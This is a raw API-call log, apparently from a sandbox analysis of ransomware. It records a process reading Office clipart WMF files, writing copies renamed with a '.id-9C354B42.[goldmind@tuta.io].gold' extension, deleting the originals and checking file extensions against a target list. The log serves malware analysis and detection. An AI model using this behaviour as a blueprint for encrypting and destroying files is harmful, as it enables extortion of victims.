[0055.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0055.134] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=5580) returned 1 [0055.134] CloseHandle (hObject=0x228) returned 1 [0055.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0055.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0055.135] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.135] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0055.135] GetLastError () returned 0x0 [0055.135] ReadFile (in: hFile=0x228, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x15cc, lpOverlapped=0x0) returned 1 [0055.136] WriteFile (in: hFile=0x22c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x15d0, lpOverlapped=0x0) returned 1 [0055.137] ReadFile (in: hFile=0x228, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.137] WriteFile (in: hFile=0x22c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.137] SetEndOfFile (hFile=0x22c) returned 1 [0055.137] CloseHandle (hObject=0x22c) returned 1 [0055.137] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.137] SetEndOfFile (hFile=0x228) returned 1 [0055.144] CloseHandle (hObject=0x228) returned 1 [0055.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0055.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0055.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0055.144] lstrlenW (lpString=".doc") returned 4 [0055.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.144] lstrlenW (lpString=".docx") returned 5 [0055.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.144] lstrlenW (lpString=".pdf") returned 4 [0055.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.144] lstrlenW (lpString=".xls") returned 4 [0055.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.144] lstrlenW (lpString=".xlsx") returned 5 [0055.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.144] lstrlenW (lpString=".ppt") returned 4 [0055.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0055.144] lstrlenW (lpString=".zip") returned 4 [0055.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.144] lstrlenW (lpString=".rar") returned 4 [0055.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.144] lstrlenW (lpString=".bz2") returned 4 [0055.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.144] lstrlenW (lpString=".7z") returned 3 [0055.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0055.145] lstrlenW (lpString=".dbf") returned 4 [0055.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0055.145] lstrlenW (lpString=".1cd") returned 4 [0055.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0055.145] lstrlenW (lpString=".jpg") returned 4 [0055.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0055.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0055.145] lstrlenW (lpString=".doc") returned 4 [0055.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.145] lstrlenW (lpString=".docx") returned 5 [0055.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.145] lstrlenW (lpString=".pdf") returned 4 [0055.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.145] lstrlenW (lpString=".xls") returned 4 [0055.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.145] lstrlenW (lpString=".xlsx") returned 5 [0055.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.145] lstrlenW (lpString=".ppt") returned 4 [0055.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0055.145] lstrlenW (lpString=".zip") returned 4 [0055.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.145] lstrlenW (lpString=".rar") returned 4 [0055.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.145] lstrlenW (lpString=".bz2") returned 4 [0055.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.145] lstrlenW (lpString=".7z") returned 3 [0055.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0055.145] lstrlenW (lpString=".dbf") returned 4 [0055.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0055.145] lstrlenW (lpString=".1cd") returned 4 [0055.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0055.145] lstrlenW (lpString=".jpg") returned 4 [0055.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.146] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.146] lstrlenW (lpString="BS00441_.WMF") returned 12 [0055.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0055.146] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3524) returned 1 [0055.146] CloseHandle (hObject=0x228) returned 1 [0055.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0055.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0055.146] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.146] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0055.147] GetLastError () returned 0x0 [0055.147] ReadFile (in: hFile=0x228, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xdc4, lpOverlapped=0x0) returned 1 [0055.148] WriteFile (in: hFile=0x22c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xdd0, lpOverlapped=0x0) returned 1 [0055.148] ReadFile (in: hFile=0x228, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.148] WriteFile (in: hFile=0x22c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.149] SetEndOfFile (hFile=0x22c) returned 1 [0055.149] CloseHandle (hObject=0x22c) returned 1 [0055.149] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.149] SetEndOfFile (hFile=0x228) returned 1 [0055.149] CloseHandle (hObject=0x228) returned 1 [0055.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0055.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0055.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0055.150] lstrlenW (lpString=".doc") returned 4 [0055.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.150] lstrlenW (lpString=".docx") returned 5 [0055.150] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.150] lstrlenW (lpString=".pdf") returned 4 [0055.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.150] lstrlenW (lpString=".xls") returned 4 [0055.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.150] lstrlenW (lpString=".xlsx") returned 5 [0055.150] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.150] lstrlenW (lpString=".ppt") returned 4 [0055.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0055.150] lstrlenW (lpString=".zip") returned 4 [0055.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.150] lstrlenW (lpString=".rar") returned 4 [0055.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.150] lstrlenW (lpString=".bz2") returned 4 [0055.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.150] lstrlenW (lpString=".7z") returned 3 [0055.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0055.150] lstrlenW (lpString=".dbf") returned 4 [0055.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0055.150] lstrlenW (lpString=".1cd") returned 4 [0055.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0055.150] lstrlenW (lpString=".jpg") returned 4 [0055.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0055.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0055.151] lstrlenW (lpString=".doc") returned 4 [0055.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.151] lstrlenW (lpString=".docx") returned 5 [0055.151] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.151] lstrlenW (lpString=".pdf") returned 4 [0055.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.151] lstrlenW (lpString=".xls") returned 4 [0055.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.151] lstrlenW (lpString=".xlsx") returned 5 [0055.151] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.151] lstrlenW (lpString=".ppt") returned 4 [0055.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0055.151] lstrlenW (lpString=".zip") returned 4 [0055.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.151] lstrlenW (lpString=".rar") returned 4 [0055.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.151] lstrlenW (lpString=".bz2") returned 4 [0055.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.151] lstrlenW (lpString=".7z") returned 3 [0055.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0055.151] lstrlenW (lpString=".dbf") returned 4 [0055.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0055.151] lstrlenW (lpString=".1cd") returned 4 [0055.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0055.151] lstrlenW (lpString=".jpg") returned 4 [0055.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.151] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.151] lstrlenW (lpString="BS00442_.WMF") returned 12 [0055.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0055.152] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2488) returned 1 [0055.152] CloseHandle (hObject=0x228) returned 1 [0055.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0055.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0055.152] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.152] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0055.152] GetLastError () returned 0x0 [0055.152] ReadFile (in: hFile=0x228, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0055.538] WriteFile (in: hFile=0x22c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0055.541] ReadFile (in: hFile=0x228, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.542] WriteFile (in: hFile=0x22c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.542] SetEndOfFile (hFile=0x22c) returned 1 [0055.709] CloseHandle (hObject=0x22c) returned 1 [0055.709] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.709] SetEndOfFile (hFile=0x228) returned 1 [0055.710] CloseHandle (hObject=0x228) returned 1 [0055.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0056.837] lstrlenW (lpString=".doc") returned 4 [0056.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString=".docx") returned 5 [0056.837] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.837] lstrlenW (lpString=".pdf") returned 4 [0056.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString=".xls") returned 4 [0056.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.837] lstrlenW (lpString=".xlsx") returned 5 [0056.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.837] lstrlenW (lpString=".ppt") returned 4 [0056.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0056.837] lstrlenW (lpString=".zip") returned 4 [0056.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.837] lstrlenW (lpString=".rar") returned 4 [0056.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString=".bz2") returned 4 [0056.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString=".7z") returned 3 [0056.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0056.837] lstrlenW (lpString=".dbf") returned 4 [0056.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0056.837] lstrlenW (lpString=".1cd") returned 4 [0056.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0056.837] lstrlenW (lpString=".jpg") returned 4 [0056.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0056.837] lstrlenW (lpString=".doc") returned 4 [0056.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.838] lstrlenW (lpString=".docx") returned 5 [0056.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.838] lstrlenW (lpString=".pdf") returned 4 [0056.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.838] lstrlenW (lpString=".xls") returned 4 [0056.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.838] lstrlenW (lpString=".xlsx") returned 5 [0056.838] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.838] lstrlenW (lpString=".ppt") returned 4 [0056.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0056.838] lstrlenW (lpString=".zip") returned 4 [0056.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.838] lstrlenW (lpString=".rar") returned 4 [0056.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.838] lstrlenW (lpString=".bz2") returned 4 [0056.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.838] lstrlenW (lpString=".7z") returned 3 [0056.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0056.838] lstrlenW (lpString=".dbf") returned 4 [0056.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0056.838] lstrlenW (lpString=".1cd") returned 4 [0056.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0056.838] lstrlenW (lpString=".jpg") returned 4 [0056.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.838] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.838] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0056.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0056.957] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2262) returned 1 [0056.963] CloseHandle (hObject=0x20c) returned 1 [0056.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20 [0056.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 